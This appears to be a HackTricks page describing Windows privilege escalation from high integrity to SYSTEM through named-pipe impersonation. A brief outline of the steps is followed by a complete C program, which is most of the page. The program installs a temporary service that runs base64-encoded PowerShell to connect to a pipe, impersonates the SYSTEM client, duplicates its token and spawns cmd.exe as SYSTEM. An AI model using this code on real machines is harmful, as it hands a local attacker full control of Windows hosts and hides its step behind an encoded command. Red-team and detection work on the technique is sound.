hacktricks/windows/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md

From High Integrity to SYSTEM with Name Pipes

Code flow:

1. Create a new Pipe
2. Create and start a service that will connect to the created pipe and write something. The service code will execute this encoded PS code: $pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();
3. The service receive the data from the client in the pipe, call ImpersonateNamedPipeClient and waits for the service to finish
4. Finally, uses the token obtained from the service to spawn a new cmd.exe

#include <windows.h>
#include <time.h>

#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")

#define PIPESRV "PiperSrv"
#define MESSAGE_SIZE 512

int ServiceGo(void) {

	SC_HANDLE scManager;
	SC_HANDLE scService;

	scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);

	if (scManager == NULL) {
		return FALSE;
	}

	// create Piper service
	scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, 
							SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
							"C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==", 
							NULL, NULL, NULL, NULL, NULL);

	if (scService == NULL) {
		//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());
		return FALSE;
	}
	
	// launch it
	StartService(scService, 0, NULL);

	// wait a bit and then cleanup
	Sleep(10000);
	DeleteService(scService);

	CloseServiceHandle(scService);
	CloseServiceHandle(scManager);	
}

int main() {

	LPCWSTR sPipeName = "\\\\.\\pipe\\piper";
	HANDLE hSrvPipe;
	HANDLE th;
	BOOL bPipeConn;
	char pPipeBuf[MESSAGE_SIZE];
	DWORD dBRead = 0;

	HANDLE hImpToken;
	HANDLE hNewToken;
	STARTUPINFOA si;
	PROCESS_INFORMATION pi;

	// open pipe
	hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, 
								PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
	
	// create and run service
	th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) ServiceGo, NULL, 0, 0);
	
	// wait for the connection from the service
	bPipeConn = ConnectNamedPipe(hSrvPipe, NULL);
	if (bPipeConn) {
		ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);
	
		// impersonate the service (SYSTEM)
		if (ImpersonateNamedPipeClient(hSrvPipe) == 0) {
			return -1;
		}
		
		// wait for the service to cleanup
		WaitForSingleObject(th, INFINITE);
		
		// get a handle to impersonated token
		if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) {
				return -2;
			} 

		// create new primary token for new process
		if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation,
							TokenPrimary, &hNewToken)) {
				return -4;
		}

		//Sleep(20000);
		// spawn cmd.exe as full SYSTEM user
		ZeroMemory(&si, sizeof(si));
		si.cb = sizeof(si);
		ZeroMemory(&pi, sizeof(pi));
		if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, NULL, L"cmd.exe", 
									NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
			return -5;
		}
		
		// revert back to original security context
		RevertToSelf();
	
	}

	return 0;
}